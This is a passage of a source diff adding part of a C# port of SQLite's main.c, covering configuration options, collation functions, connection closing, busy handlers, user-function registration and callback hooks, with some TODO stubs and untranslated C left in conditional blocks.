the malloc status collection */ + sqlite3GlobalConfig.bMemstat = (int)va_arg( ap, "int" ) != 0; + break; + } + case SQLITE_CONFIG_SCRATCH: + { + /* Designate a buffer for scratch memory space */ + sqlite3GlobalConfig.pScratch = (byte[])va_arg( ap, "byte[]" ); + sqlite3GlobalConfig.szScratch = (int)va_arg( ap, "int" ); + sqlite3GlobalConfig.nScratch = (int)va_arg( ap, "int" ); + break; + } + + case SQLITE_CONFIG_PAGECACHE: + { + /* Designate a buffer for page cache memory space */ + sqlite3GlobalConfig.pPage = (MemPage)va_arg( ap, "MemPage" ); + sqlite3GlobalConfig.szPage = (int)va_arg( ap, "int" ); + sqlite3GlobalConfig.nPage = (int)va_arg( ap, "int" ); + break; + } + + case SQLITE_CONFIG_PCACHE: + { + /* Specify an alternative page cache implementation */ + Debugger.Break(); // TODO --sqlite3GlobalConfig.pcache = (sqlite3_pcache_methods)va_arg(ap, "sqlite3_pcache_methods"); + break; + } + + case SQLITE_CONFIG_GETPCACHE: + { + if ( sqlite3GlobalConfig.pcache.xInit == null ) + { + sqlite3PCacheSetDefault(); + } + Debugger.Break(); // TODO -- *va_arg(ap, sqlite3_pcache_methods*) = sqlite3GlobalConfig.pcache; + break; + } + +#if SQLITE_ENABLE_MEMSYS3 || SQLITE_ENABLE_MEMSYS5 +case SQLITE_CONFIG_HEAP: { +/* Designate a buffer for heap memory space */ +sqlite3GlobalConfig.pHeap = va_arg(ap, void*); +sqlite3GlobalConfig.nHeap = va_arg(ap, int); +sqlite3GlobalConfig.mnReq = va_arg(ap, int); + +if( sqlite3GlobalConfig.pHeap==0 ){ +/* If the heap pointer is NULL, then restore the malloc implementation +** back to NULL pointers too. This will cause the malloc to go +** back to its default implementation when sqlite3_initialize() is +** run. +*/ +memset(& sqlite3GlobalConfig.m, 0, sizeof( sqlite3GlobalConfig.m)); +}else{ +/* The heap pointer is not NULL, then install one of the +** mem5.c/mem3.c methods. If neither ENABLE_MEMSYS3 nor +** ENABLE_MEMSYS5 is defined, return an error. +*/ +#if SQLITE_ENABLE_MEMSYS3 +sqlite3GlobalConfig.m = *sqlite3MemGetMemsys3(); +#endif +#if SQLITE_ENABLE_MEMSYS5 +sqlite3GlobalConfig.m = *sqlite3MemGetMemsys5(); +#endif +} +break; +} +#endif + + case SQLITE_CONFIG_LOOKASIDE: + { + sqlite3GlobalConfig.szLookaside = (int)va_arg( ap, "int" ); + sqlite3GlobalConfig.nLookaside = (int)va_arg( ap, "int" ); + break; + } + + default: + { + rc = SQLITE_ERROR; + break; + } + } + va_end( ap ); + return rc; + } + + /* + ** Set up the lookaside buffers for a database connection. + ** Return SQLITE_OK on success. + ** If lookaside is already active, return SQLITE_BUSY. + ** + ** The sz parameter is the number of bytes in each lookaside slot. + ** The cnt parameter is the number of slots. If pStart is NULL the + ** space for the lookaside memory is obtained from sqlite3_malloc(). + ** If pStart is not NULL then it is sz*cnt bytes of memory to use for + ** the lookaside memory. + */ + static int setupLookaside( sqlite3 db, byte[] pBuf, int sz, int cnt ) + { + //void* pStart; + //if ( db.lookaside.nOut ) + //{ + // return SQLITE_BUSY; + //} + ///* Free any existing lookaside buffer for this handle before + //** allocating a new one so we don't have to have space for + //** both at the same time. + //*/ + //if ( db.lookaside.bMalloced ) + //{ + // //sqlite3_free( db.lookaside.pStart ); + //} + ///* The size of a lookaside slot needs to be larger than a pointer + //** to be useful. + //*/ + //if ( sz <= (int)sizeof( LookasideSlot* ) ) sz = 0; + //if ( cnt < 0 ) cnt = 0; + //if ( sz == 0 || cnt == 0 ) + //{ + // sz = 0; + // pStart = 0; + //} + //else if ( pBuf == 0 ) + //{ + // sz = ROUND8(sz); + // sqlite3BeginBenignMalloc(); + // pStart = sqlite3Malloc( sz * cnt ); + // sqlite3EndBenignMalloc(); + //} + //else + //{ + // ROUNDDOWN8(sz); + // pStart = pBuf; + //} + //db.lookaside.pStart = pStart; + //db.lookaside.pFree = 0; + //db.lookaside.sz = (u16)sz; + //if ( pStart ) + //{ + // int i; + // LookasideSlot* p; + // Debug.Assert( sz > sizeof( LookasideSlot* ) ); + // p = (LookasideSlot*)pStart; + // for ( i = cnt - 1 ; i >= 0 ; i-- ) + // { + // p.pNext = db.lookaside.pFree; + // db.lookaside.pFree = p; + // p = (LookasideSlot*)&( (u8*)p )[sz]; + // } + // db.lookaside.pEnd = p; + // db.lookaside.bEnabled = 1; + // db.lookaside.bMalloced = pBuf == 0 ? 1 : 0; + //} + //else + //{ + // db.lookaside.pEnd = 0; + // db.lookaside.bEnabled = 0; + // db.lookaside.bMalloced = 0; + //} + return SQLITE_OK; + } + + /* + ** Return the mutex associated with a database connection. + */ + sqlite3_mutex sqlite3_db_mutex( sqlite3 db ) + { + return db.mutex; + } + + /* + ** Configuration settings for an individual database connection + */ + static int sqlite3_db_config( sqlite3 db, int op, params object[] ap ) + { + //va_list ap; + int rc; + va_start( ap, "" ); + switch ( op ) + { + case SQLITE_DBCONFIG_LOOKASIDE: + { + byte[] pBuf = (byte[])va_arg( ap, "byte[]" ); + int sz = (int)va_arg( ap, "int" ); + int cnt = (int)va_arg( ap, "int" ); + rc = setupLookaside( db, pBuf, sz, cnt ); + break; + } + default: + { + rc = SQLITE_ERROR; + break; + } + } + va_end( ap ); + return rc; + } + + + /* + ** Return true if the buffer z[0..n-1] contains all spaces. + */ + static bool allSpaces( string z, int iStart, int n ) + { + while ( n > 0 && z[iStart + n - 1] == ' ' ) { n--; } + return n == 0; + } + + /* + ** This is the default collating function named "BINARY" which is always + ** available. + ** + ** If the padFlag argument is not NULL then space padding at the end + ** of strings is ignored. This implements the RTRIM collation. + */ + static int binCollFunc( + object padFlag, + int nKey1, string pKey1, + int nKey2, string pKey2 + ) + { + int rc, n; + n = nKey1 < nKey2 ? nKey1 : nKey2; + rc = memcmp( pKey1, pKey2, n ); + if ( rc == 0 ) + { + if ( (int)padFlag != 0 && allSpaces( pKey1, n, nKey1 - n ) && allSpaces( pKey2, n, nKey2 - n ) ) + { + /* Leave rc unchanged at 0 */ + } + else + { + rc = nKey1 - nKey2; + } + } + return rc; + } + + /* + ** Another built-in collating sequence: NOCASE. + ** + ** This collating sequence is intended to be used for "case independant + ** comparison". SQLite's knowledge of upper and lower case equivalents + ** extends only to the 26 characters used in the English language. + ** + ** At the moment there is only a UTF-8 implementation. + */ + static int nocaseCollatingFunc( + object NotUsed, + int nKey1, string pKey1, + int nKey2, string pKey2 + ) + { + int n = ( nKey1 < nKey2 ) ? nKey1 : nKey2; + int r = sqlite3StrNICmp( pKey1, pKey2, ( nKey1 < nKey2 ) ? nKey1 : nKey2 ); + UNUSED_PARAMETER( NotUsed ); + if ( 0 == r ) + { + r = nKey1 - nKey2; + } + return r; + } + + /* + ** Return the ROWID of the most recent insert + */ + public static sqlite_int64 sqlite3_last_insert_rowid( sqlite3 db ) + { + return db.lastRowid; + } + + /* + ** Return the number of changes in the most recent call to sqlite3_exec(). + */ + public static int sqlite3_changes( sqlite3 db ) + { + return db.nChange; + } + + /* + ** Return the number of changes since the database handle was opened. + */ + public static int sqlite3_total_changes( sqlite3 db ) + { + return db.nTotalChange; + } + + /* + ** Close all open savepoints. This function only manipulates fields of the + ** database handle object, it does not close any savepoints that may be open + ** at the b-tree/pager level. + */ + static void sqlite3CloseSavepoints( sqlite3 db ) + { + while ( db.pSavepoint != null ) + { + Savepoint pTmp = db.pSavepoint; + db.pSavepoint = pTmp.pNext; + //sqlite3DbFree( db, ref pTmp ); + } + db.nSavepoint = 0; + db.nStatement = 0; + db.isTransactionSavepoint = 0; + } + + /* + ** Close an existing SQLite database + */ + public static int sqlite3_close( sqlite3 db ) + { + HashElem i; + int j; + + if ( db == null ) + { + return SQLITE_OK; + } + if ( !sqlite3SafetyCheckSickOrOk( db ) ) + { + return SQLITE_MISUSE; + } + sqlite3_mutex_enter( db.mutex ); + + sqlite3ResetInternalSchema( db, 0 ); + + /* Tell the code in notify.c that the connection no longer holds any + ** locks and does not require any further unlock-notify callbacks. + */ + sqlite3ConnectionClosed( db ); + + /* If a transaction is open, the ResetInternalSchema() call above + ** will not have called the xDisconnect() method on any virtual + ** tables in the db.aVTrans[] array. The following sqlite3VtabRollback() + ** call will do so. We need to do this before the check for active + ** SQL statements below, as the v-table implementation may be storing + ** some prepared statements internally. + */ + + sqlite3VtabRollback( db ); + + /* If there are any outstanding VMs, return SQLITE_BUSY. */ + if ( db.pVdbe != null ) + { + sqlite3Error( db, SQLITE_BUSY, + "unable to close due to unfinalised statements" ); + sqlite3_mutex_leave( db.mutex ); + return SQLITE_BUSY; + } + Debug.Assert( sqlite3SafetyCheckSickOrOk( db ) ); + + for ( j = 0 ; j < db.nDb ; j++ ) + { + Btree pBt = db.aDb[j].pBt; + if ( pBt != null && sqlite3BtreeIsInBackup( pBt ) ) + { + sqlite3Error( db, SQLITE_BUSY, + "unable to close due to unfinished backup operation" ); + sqlite3_mutex_leave( db.mutex ); + return SQLITE_BUSY; + } + } + + /* Free any outstanding Savepoint structures. */ + sqlite3CloseSavepoints( db ); + + for ( j = 0 ; j < db.nDb ; j++ ) + { + Db pDb = db.aDb[j]; + if ( pDb.pBt != null ) + { + sqlite3BtreeClose( ref pDb.pBt ); + pDb.pBt = null; + if ( j != 1 ) + { + pDb.pSchema = null; + } + } + } + sqlite3ResetInternalSchema( db, 0 ); + Debug.Assert( db.nDb <= 2 ); + Debug.Assert( db.aDb[0].Equals( db.aDbStatic[0] ) ); + for ( j = 0 ; j < ArraySize( db.aFunc.a ) ; j++ ) + { + FuncDef pNext, pHash, p; + for ( p = db.aFunc.a[j] ; p != null ; p = pHash ) + { + pHash = p.pHash; + while ( p != null ) + { + pNext = p.pNext; + //sqlite3DbFree( db, p ); + p = pNext; + } + + } + } + + for ( i = db.aCollSeq.first ; i != null ; i = i.next ) + {//sqliteHashFirst(db.aCollSeq); i!=null; i=sqliteHashNext(i)){ + CollSeq[] pColl = (CollSeq[])i.data;// sqliteHashData(i); + /* Invoke any destructors registered for collation sequence user data. */ + for ( j = 0 ; j < 3 ; j++ ) + { + if ( pColl[j].xDel != null ) + { + pColl[j].xDel( ref pColl[j].pUser ); + } + } + //sqlite3DbFree( db, ref pColl ); + } + sqlite3HashClear( db.aCollSeq ); +#if !SQLITE_OMIT_VIRTUALTABLE +for(i=sqliteHashFirst(&db.aModule); i; i=sqliteHashNext(i)){ +Module pMod = (Module *)sqliteHashData(i); +if( pMod.xDestroy ){ +pMod.xDestroy(pMod.pAux); +} +//sqlite3DbFree(db,ref pMod); +} +sqlite3HashClear(&db.aModule); +#endif + + sqlite3Error( db, SQLITE_OK, 0 ); /* Deallocates any cached error strings. */ + if ( db.pErr != null ) + { + sqlite3ValueFree( ref db.pErr ); + } +#if !SQLITE_OMIT_LOAD_EXTENSION + sqlite3CloseExtensions( db ); +#endif + + db.magic = SQLITE_MAGIC_ERROR; + + /* The temp.database schema is allocated differently from the other schema + ** objects (using sqliteMalloc() directly, instead of sqlite3BtreeSchema()). + ** So it needs to be freed here. Todo: Why not roll the temp schema into + ** the same sqliteMalloc() as the one that allocates the database + ** structure? + */ + //sqlite3DbFree( db, ref db.aDb[1].pSchema ); + sqlite3_mutex_leave( db.mutex ); + db.magic = SQLITE_MAGIC_CLOSED; + sqlite3_mutex_free( ref db.mutex ); + Debug.Assert( db.lookaside.nOut == 0 ); /* Fails on a lookaside memory leak */ + if ( db.lookaside.bMalloced ) + { + ////sqlite3_free( ref db.lookaside.pStart ); + } + //sqlite3_free( ref db ); + return SQLITE_OK; + } + + /* + ** Rollback all database files. + */ + static void sqlite3RollbackAll( sqlite3 db ) + { + int i; + int inTrans = 0; + Debug.Assert( sqlite3_mutex_held( db.mutex ) ); + sqlite3BeginBenignMalloc(); + for ( i = 0 ; i < db.nDb ; i++ ) + { + if ( db.aDb[i].pBt != null ) + { + if ( sqlite3BtreeIsInTrans( db.aDb[i].pBt ) ) + { + inTrans = 1; + } + sqlite3BtreeRollback( db.aDb[i].pBt ); + db.aDb[i].inTrans = 0; + } + } + + sqlite3VtabRollback( db ); + sqlite3EndBenignMalloc(); + if ( ( db.flags & SQLITE_InternChanges ) != 0 ) + { + sqlite3ExpirePreparedStatements( db ); + sqlite3ResetInternalSchema( db, 0 ); + } + + /* If one has been configured, invoke the rollback-hook callback */ + if ( db.xRollbackCallback != null && ( inTrans != 0 || 0 == db.autoCommit ) ) + { + db.xRollbackCallback( db.pRollbackArg ); + } + } + + /* + ** Return a static string that describes the kind of error specified in the + ** argument. + */ + static string sqlite3ErrStr( int rc ) + { + string[] aMsg = new string[]{ +/* SQLITE_OK */ "not an error", +/* SQLITE_ERROR */ "SQL logic error or missing database", +/* SQLITE_INTERNAL */ "", +/* SQLITE_PERM */ "access permission denied", +/* SQLITE_ABORT */ "callback requested query abort", +/* SQLITE_BUSY */ "database is locked", +/* SQLITE_LOCKED */ "database table is locked", +/* SQLITE_NOMEM */ "out of memory", +/* SQLITE_READONLY */ "attempt to write a readonly database", +/* SQLITE_INTERRUPT */ "interrupted", +/* SQLITE_IOERR */ "disk I/O error", +/* SQLITE_CORRUPT */ "database disk image is malformed", +/* SQLITE_NOTFOUND */ "", +/* SQLITE_FULL */ "database or disk is full", +/* SQLITE_CANTOPEN */ "unable to open database file", +/* SQLITE_PROTOCOL */ "", +/* SQLITE_EMPTY */ "table contains no data", +/* SQLITE_SCHEMA */ "database schema has changed", +/* SQLITE_TOOBIG */ "string or blob too big", +/* SQLITE_CONSTRAINT */ "constraint failed", +/* SQLITE_MISMATCH */ "datatype mismatch", +/* SQLITE_MISUSE */ "library routine called out of sequence", +/* SQLITE_NOLFS */ "large file support is disabled", +/* SQLITE_AUTH */ "authorization denied", +/* SQLITE_FORMAT */ "auxiliary database format error", +/* SQLITE_RANGE */ "bind or column index out of range", +/* SQLITE_NOTADB */ "file is encrypted or is not a database", +}; + rc &= 0xff; + if ( ALWAYS( rc >= 0 ) && rc < aMsg.Length && aMsg[rc] != "" )//(int)(sizeof(aMsg)/sizeof(aMsg[0])) + { + return aMsg[rc]; + } + else + { + return "unknown error"; + } + } + + /* + ** This routine implements a busy callback that sleeps and tries + ** again until a timeout value is reached. The timeout value is + ** an integer number of milliseconds passed in as the first + ** argument. + */ + static int sqliteDefaultBusyCallback( + object ptr, /* Database connection */ + int count /* Number of times table has been busy */ + ) + { +#if SQLITE_OS_WIN || HAVE_USLEEP + u8[] delays = new u8[] { 1, 2, 5, 10, 15, 20, 25, 25, 25, 50, 50, 100 }; + u8[] totals = new u8[] { 0, 1, 3, 8, 18, 33, 53, 78, 103, 128, 178, 228 }; + //# define NDELAY (delays.Length/sizeof(delays[0])) + int NDELAY = delays.Length; + sqlite3 db = (sqlite3)ptr; + int timeout = db.busyTimeout; + int delay, prior; + + Debug.Assert( count >= 0 ); + if ( count < NDELAY ) + { + delay = delays[count]; + prior = totals[count]; + } + else + { + delay = delays[NDELAY - 1]; + prior = totals[NDELAY - 1] + delay * ( count - ( NDELAY - 1 ) ); + } + if ( prior + delay > timeout ) + { + delay = timeout - prior; + if ( delay <= 0 ) return 0; + } + sqlite3OsSleep( db.pVfs, delay * 1000 ); + return 1; +#else +sqlite3 db = (sqlite3)ptr; +int timeout = ( (sqlite3)ptr ).busyTimeout; +if ( ( count + 1 ) * 1000 > timeout ) +{ +return 0; +} +sqlite3OsSleep( db.pVfs, 1000000 ); +return 1; +#endif + } + + /* + ** Invoke the given busy handler. + ** + ** This routine is called when an operation failed with a lock. + ** If this routine returns non-zero, the lock is retried. If it + ** returns 0, the operation aborts with an SQLITE_BUSY error. + */ + static int sqlite3InvokeBusyHandler( BusyHandler p ) + { + int rc; + if ( NEVER( p == null ) || p.xFunc == null || p.nBusy < 0 ) return 0; + rc = p.xFunc( p.pArg, p.nBusy ); + if ( rc == 0 ) + { + p.nBusy = -1; + } + else + { + p.nBusy++; + } + return rc; + } + + /* + ** This routine sets the busy callback for an Sqlite database to the + ** given callback function with the given argument. + */ + static int sqlite3_busy_handler( + sqlite3 db, + dxBusy xBusy, + object pArg + ) + { + sqlite3_mutex_enter( db.mutex ); + db.busyHandler.xFunc = xBusy; + db.busyHandler.pArg = pArg; + db.busyHandler.nBusy = 0; + sqlite3_mutex_leave( db.mutex ); + return SQLITE_OK; + } + +#if !SQLITE_OMIT_PROGRESS_CALLBACK + /* +** This routine sets the progress callback for an Sqlite database to the +** given callback function with the given argument. The progress callback will +** be invoked every nOps opcodes. +*/ + static void sqlite3_progress_handler( + sqlite3 db, + int nOps, + dxProgress xProgress, //int (xProgress)(void*), + object pArg + ) + { + sqlite3_mutex_enter( db.mutex ); + if ( nOps > 0 ) + { + db.xProgress = xProgress; + db.nProgressOps = nOps; + db.pProgressArg = pArg; + } + else + { + db.xProgress = null; + db.nProgressOps = 0; + db.pProgressArg = null; + } + sqlite3_mutex_leave( db.mutex ); + } +#endif + + + /* +** This routine installs a default busy handler that waits for the +** specified number of milliseconds before returning 0. +*/ + public static int sqlite3_busy_timeout( sqlite3 db, int ms ) + { + if ( ms > 0 ) + { + db.busyTimeout = ms; + sqlite3_busy_handler( db, sqliteDefaultBusyCallback, db ); + } + else + { + sqlite3_busy_handler( db, null, null ); + } + return SQLITE_OK; + } + + /* + ** Cause any pending operation to stop at its earliest opportunity. + */ + static void sqlite3_interrupt( sqlite3 db ) + { + db.u1.isInterrupted = true; + } + + + /* + ** This function is exactly the same as sqlite3_create_function(), except + ** that it is designed to be called by internal code. The difference is + ** that if a malloc() fails in sqlite3_create_function(), an error code + ** is returned and the mallocFailed flag cleared. + */ + static int sqlite3CreateFunc( + sqlite3 db, + string zFunctionName, + int nArg, + u8 enc, + object pUserData, + dxFunc xFunc, //)(sqlite3_context*,int,sqlite3_value **), + dxStep xStep,//)(sqlite3_context*,int,sqlite3_value **), + dxFinal xFinal//)(sqlite3_context*) + ) + { + FuncDef p; + int nName; + + Debug.Assert( sqlite3_mutex_held( db.mutex ) ); + if ( zFunctionName == null || + ( xFunc != null && ( xFinal != null || xStep != null ) ) || + ( xFunc == null && ( xFinal != null && xStep == null ) ) || + ( xFunc == null && ( xFinal == null && xStep != null ) ) || + ( nArg < -1 || nArg > SQLITE_MAX_FUNCTION_ARG ) || + ( 255 < ( nName = sqlite3Strlen30( zFunctionName ) ) ) ) + { + return SQLITE_MISUSE; + } + +#if !SQLITE_OMIT_UTF16 +/* If SQLITE_UTF16 is specified as the encoding type, transform this +** to one of SQLITE_UTF16LE or SQLITE_UTF16BE using the +** SQLITE_UTF16NATIVE macro. SQLITE_UTF16 is not used internally. +** +** If SQLITE_ANY is specified, add three versions of the function +** to the hash table. +*/ +if( enc==SQLITE_UTF16 ){ +enc = SQLITE_UTF16NATIVE; +}else if( enc==SQLITE_ANY ){ +int rc; +rc = sqlite3CreateFunc(db, zFunctionName, nArg, SQLITE_UTF8, +pUserData, xFunc, xStep, xFinal); +if( rc==SQLITE_OK ){ +rc = sqlite3CreateFunc(db, zFunctionName, nArg, SQLITE_UTF16LE, +pUserData, xFunc, xStep, xFinal); +} +if( rc!=SQLITE_OK ){ +return rc; +} +enc = SQLITE_UTF16BE; +} +#else + enc = SQLITE_UTF8; +#endif + + /* Check if an existing function is being overridden or deleted. If so, +** and there are active VMs, then return SQLITE_BUSY. If a function +** is being overridden/deleted but there are no active VMs, allow the +** operation to continue but invalidate all precompiled statements. +*/ + p = sqlite3FindFunction( db, zFunctionName, nName, nArg, enc, 0 ); + if ( p != null && p.iPrefEnc == enc && p.nArg == nArg ) + { + if ( db.activeVdbeCnt != 0 ) + { + sqlite3Error( db, SQLITE_BUSY, + "unable to delete/modify user-function due to active statements" ); + //Debug.Assert( 0 == db.mallocFailed ); + return SQLITE_BUSY; + } + else + { + sqlite3ExpirePreparedStatements( db ); + } + } + + p = sqlite3FindFunction( db, zFunctionName, nName, nArg, enc, 1 ); + Debug.Assert( p != null /*|| db.mallocFailed != 0 */ ); + if ( p == null ) + { + return SQLITE_NOMEM; + } + p.flags = 0; + p.xFunc = xFunc; + p.xStep = xStep; + p.xFinalize = xFinal; + p.pUserData = pUserData; + p.nArg = (i16)nArg; + return SQLITE_OK; + } + + /* + ** Create new user functions. + */ + public static int sqlite3_create_function( + sqlite3 db, + string zFunctionName, + int nArg, + u8 enc, + object p, + dxFunc xFunc, //)(sqlite3_context*,int,sqlite3_value **), + dxStep xStep,//)(sqlite3_context*,int,sqlite3_value **), + dxFinal xFinal//)(sqlite3_context*) + ) + { + int rc; + sqlite3_mutex_enter( db.mutex ); + rc = sqlite3CreateFunc( db, zFunctionName, nArg, enc, p, xFunc, xStep, xFinal ); + rc = sqlite3ApiExit( db, rc ); + sqlite3_mutex_leave( db.mutex ); + return rc; + } + +#if !SQLITE_OMIT_UTF16 +static int sqlite3_create_function16( +sqlite3 db, +string zFunctionName, +int nArg, +int eTextRep, +object p, +dxFunc xFunc, //)(sqlite3_context*,int,sqlite3_value**), +dxStep xStep, //)(sqlite3_context*,int,sqlite3_value**), +dxFinal xFinal //)(sqlite3_context*) +){ +int rc; +string zFunc8; +sqlite3_mutex_enter(db.mutex); +Debug.Assert( 0==db.mallocFailed ); +zFunc8 = sqlite3Utf16to8(db, zFunctionName, -1); +rc = sqlite3CreateFunc(db, zFunc8, nArg, eTextRep, p, xFunc, xStep, xFinal); +//sqlite3DbFree(db,ref zFunc8); +rc = sqlite3ApiExit(db, rc); +sqlite3_mutex_leave(db.mutex); +return rc; +} +#endif + + + /* +** Declare that a function has been overloaded by a virtual table. +** +** If the function already exists as a regular global function, then +** this routine is a no-op. If the function does not exist, then create +** a new one that always throws a run-time error. +** +** When virtual tables intend to provide an overloaded function, they +** should call this routine to make sure the global function exists. +** A global function must exist in order for name resolution to work +** properly. +*/ + static int sqlite3_overload_function( + sqlite3 db, + string zName, + int nArg + ) + { + int nName = sqlite3Strlen30( zName ); + int rc; + sqlite3_mutex_enter( db.mutex ); + if ( sqlite3FindFunction( db, zName, nName, nArg, SQLITE_UTF8, 0 ) == null ) + { + sqlite3CreateFunc( db, zName, nArg, SQLITE_UTF8, + 0, (dxFunc)sqlite3InvalidFunction, null, null ); + } + rc = sqlite3ApiExit( db, SQLITE_OK ); + sqlite3_mutex_leave( db.mutex ); + return rc; + } + +#if !SQLITE_OMIT_TRACE + /* +** Register a trace function. The pArg from the previously registered trace +** is returned. +** +** A NULL trace function means that no tracing is executes. A non-NULL +** trace is a pointer to a function that is invoked at the start of each +** SQL statement. +*/ + static object sqlite3_trace( sqlite3 db, dxTrace xTrace, object pArg ) + {// (*xTrace)(void*,const char*), object pArg){ + object pOld; + sqlite3_mutex_enter( db.mutex ); + pOld = db.pTraceArg; + db.xTrace = xTrace; + db.pTraceArg = pArg; + sqlite3_mutex_leave( db.mutex ); + return pOld; + } + /* + ** Register a profile function. The pArg from the previously registered + ** profile function is returned. + ** + ** A NULL profile function means that no profiling is executes. A non-NULL + ** profile is a pointer to a function that is invoked at the conclusion of + ** each SQL statement that is run. + */ + static object sqlite3_profile( + sqlite3 db, + dxProfile xProfile,//void (*xProfile)(void*,const char*,sqlite_u3264), + object pArg + ) + { + object pOld; + sqlite3_mutex_enter( db.mutex ); + pOld = db.pProfileArg; + db.xProfile = xProfile; + db.pProfileArg = pArg; + sqlite3_mutex_leave( db.mutex ); + return pOld; + } +#endif // * SQLITE_OMIT_TRACE */ + + /*** EXPERIMENTAL *** +** +** Register a function to be invoked when a transaction comments. +** If the invoked function returns non-zero, then the commit becomes a +** rollback. +*/ + static object sqlite3_commit_hook( + sqlite3 db, /* Attach the hook to this database */ + dxCommitCallback xCallback, //int (*xCallback)(void*), /* Function to invoke on each commit */ + object pArg /* Argument to the function */ + ) + { + object pOld; + sqlite3_mutex_enter( db.mutex ); + pOld = db.pCommitArg; + db.xCommitCallback = xCallback; + db.pCommitArg = pArg; + sqlite3_mutex_leave( db.mutex ); + return pOld; + } + + /* + ** Register a callback to be invoked each time a row is updated, + ** inserted or deleted using this database connection. + */ + static object sqlite3_update_hook( + sqlite3 db, /* Attach the hook to this database */ + dxUpdateCallback xCallback, //void (*xCallback)(void*,int,char const *,char const *,sqlite_int64), + object pArg /* Argument to the function */ + ) + { + object pRet; + sqlite3_mutex_enter( db.mutex ); + pRet = db.pUpdateArg; + db.xUpdateCallback = xCallback; + db.pUpdateArg = pArg; + sqlite3_mutex_leave( db.mutex ); + return pRet; + } + + /* + ** Register a callback to be invoked each time a transaction is rolled + ** back by this database connection. + */ + static object sqlite3_rollback_hook( + sqlite3 db, /* Attach the hook to this database */ + dxRollbackCallback xCallback, //void (*xCallback)(void*), /* Callback function */ + object pArg /* Argument to the function */ + ) + { + object pRet; + sqlite3_mutex_enter( db.mutex ); + pRet = db.pRollbackArg; + db.xRollbackCallback = xCallback; + db.pRollbackArg = pArg; + sqlite3_mutex_leave( db.mutex ); + return pRet; + } + + /* + ** This function returns true if main-memory should be used instead of + ** a temporary file for transient pager files and statement journals. + ** The value returned depends on the value of db->temp_store (runtime + ** parameter) and the compile time value of SQLITE_TEMP_STORE. The + ** following table describes the relationship between these two values + ** and this functions return value. + ** + ** SQLITE_TEMP_STORE db->temp_store Location of temporary database + ** ----------------- -------------- ------------------------------ + ** 0 any file (return 0) + ** 1 1 file (return 0) + ** 1 2 memory (return 1) + ** 1 0 file (return 0) + ** 2 1 file (return 0) + ** 2 2 memory (return 1) + ** 2 0 memory (return 1) + ** 3 any memory (return 1) + */ + static bool sqlite3TempInMemory( sqlite3 db ) + { + //#if SQLITE_TEMP_STORE==1 + if ( SQLITE_TEMP_STORE == 1 ) + return ( db.temp_store == 2 ); + //#endif + //#if SQLITE_TEMP_STORE==2 + if ( SQLITE_TEMP_STORE == 2 ) + return ( db.temp_store != 1 ); + //#endif + //#if SQLITE_TEMP_STORE==3 + if ( SQLITE_TEMP_STORE == 3 ) + return true; + //#endif + //#if SQLITE_TEMP_STORE<1 || SQLITE_TEMP_STORE>3 + if ( SQLITE_TEMP_STORE < 1 || SQLITE_TEMP_STORE > 3 ) + return false; + //#endif + return false; + } + + /* + ** This routine is called to create a connection to a database BTree + ** driver. If zFilename is the name of a file, then that file is + ** opened and used. If zFilename is the magic name ":memory:" then + ** the database is stored in memory (and is thus forgotten as soon as + ** the connection is closed.) If zFilename is NULL then the database + ** is a "virtual" database for transient use only and is deleted as + ** soon as the connection is closed. + ** + ** A virtual database can be either a disk file (that is automatically + ** deleted when the file is closed) or it an be held entirely in memory. + ** The sqlite3TempInMemory() function is used to determine which. + */ + static int sqlite3BtreeFactory( + sqlite3 db, /* Main database when opening aux otherwise 0 */ + string zFilename, /* Name of the file containing the BTree database */ + bool omitJournal, /* if TRUE then do not journal this file */ + int nCache, /* How many pages in the page cache */ + int vfsFlags, /* Flags passed through to vfsOpen */ + ref Btree ppBtree /* Pointer to new Btree object written here */ + ) + { + int btFlags = 0; + int rc; + + Debug.Assert( sqlite3_mutex_held( db.mutex ) ); + //Debug.Assert( ppBtree != null); + if ( omitJournal ) + { + btFlags |= BTREE_OMIT_JOURNAL; + } + if ( ( db.flags & SQLITE_NoReadlock ) != 0 ) + { + btFlags |= BTREE_NO_READLOCK; + } +#if !SQLITE_OMIT_MEMORYDB + if ( String.IsNullOrEmpty( zFilename ) && sqlite3TempInMemory( db ) ) + { + + zFilename = ":memory:"; + } +#endif // * SQLITE_OMIT_MEMORYDB */ + + if ( ( vfsFlags & SQLITE_OPEN_MAIN_DB ) != 0 && ( zFilename == null ) ) + {// || *zFilename==0) ){ + vfsFlags = ( vfsFlags & ~SQLITE_OPEN_MAIN_DB ) | SQLITE_OPEN_TEMP_DB; + } + rc = sqlite3BtreeOpen( zFilename, db, ref ppBtree, btFlags, vfsFlags ); + /* If the B-Tree was successfully opened, set the pager-cache size to the + ** default value. Except, if the call to BtreeOpen() returned a handle + ** open on an existing shared pager-cache, do not change the pager-cache + ** size. + */ + if ( rc == SQLITE_OK && null == sqlite3BtreeSchema( ppBtree, 0, null ) ) + { + sqlite3BtreeSetCacheSize( ppBtree, nCache ); + } + return rc; + } + + /* + ** Return UTF-8 encoded English language explanation of the most recent + ** error. + */ + public static string sqlite3_errmsg( sqlite3 db ) + { + string z; + if ( db == null ) + { + return sqlite3ErrStr( SQLITE_NOMEM ); + } + if ( !sqlite3SafetyCheckSickOrOk( db ) ) + { + return sqlite3ErrStr( SQLITE_MISUSE ); + } + sqlite3_mutex_enter( db.mutex ); + //if ( db.mallocFailed != 0 ) + //{ + // z = sqlite3ErrStr( SQLITE_NOMEM ); + //} + //else + { + z = sqlite3_value_text( db.pErr ); + //Debug.Assert( 0 == db.mallocFailed ); + if ( String.IsNullOrEmpty( z )) + { + z = sqlite3ErrStr( db.errCode ); + } + } + sqlite3_mutex_leave( db.mutex ); + return z; + } + +#if !SQLITE_OMIT_UTF16 +/* +** Return UTF-16 encoded English language explanation of the most recent +** error. +*/ +const void *sqlite3_errmsg16(sqlite3 *db){ +static const u16 outOfMem[] = { +'o', 'u', 't', ' ', 'o', 'f', ' ', 'm', 'e', 'm', 'o', 'r', 'y', 0 +}; +static const u16 misuse[] = { +'l', 'i', 'b', 'r', 'a', 'r', 'y', ' ', +'r', 'o', 'u', 't', 'i', 'n', 'e', ' ', +'c', 'a', 'l', 'l', 'e', 'd', ' ', +'o', 'u', 't', ' ', +'o', 'f', ' ', +'s', 'e', 'q', 'u', 'e', 'n', 'c', 'e', 0 +}; + +const void *z; +if( !db ){ +return (void *)outOfMem; +} +if( !sqlite3SafetyCheckSickOrOk(db) ){ +return (void *)misuse; +} +sqlite3_mutex_enter(db->mutex); +if( db->mallocFailed ){ +z = (void *)outOfMem; +}else{ +z = sqlite3_value_text16(db->pErr); +if( z==0 ){ +sqlite3ValueSetStr(db->pErr, -1, sqlite3ErrStr(db->errCode), 